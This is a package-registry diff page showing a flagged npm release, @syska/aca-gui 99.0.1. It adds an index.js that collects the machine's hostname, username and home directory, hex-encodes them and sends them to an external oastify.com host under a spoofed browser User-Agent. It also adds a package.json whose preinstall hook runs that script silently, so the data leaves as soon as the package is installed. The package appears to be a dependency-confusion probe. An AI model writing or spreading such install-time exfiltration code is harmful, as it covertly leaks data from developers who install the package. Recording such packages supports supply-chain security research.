@syska/aca-gui 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @syska/aca-gui might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +24 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ const os = require("os");
2
+
3
+ function stringToHex(str)
4
+ {
5
+ const buf = Buffer.from(str, 'utf8');
6
+ return buf.toString('hex');
7
+ }
8
+
9
+ const data = {
10
+ "hn": stringToHex(os.hostname()),
11
+ "un": stringToHex(os.userInfo().username),
12
+ "hd": stringToHex(os.homedir())
13
+ }
14
+
15
+ const url = `https://${data["hn"]}.${data["un"]}.${data["hd"]}.rzuw6k993etm4evlbzxzep33jupkd9.oastify.com/ltidi`;
16
+ fetch(url, {
17
+ headers: {
18
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 LTiDi Allianz Syska",
19
+ },
20
+ })
21
+ .then((response) => response.json())
22
+ .then(data => {
23
+ console.log(data);
24
+ })
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@syska/aca-gui",
3
+ "version": "99.0.1",
4
+ "description": "LTiDiH1",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "LTiDi",
11
+ "license": "ISC"
12
+ }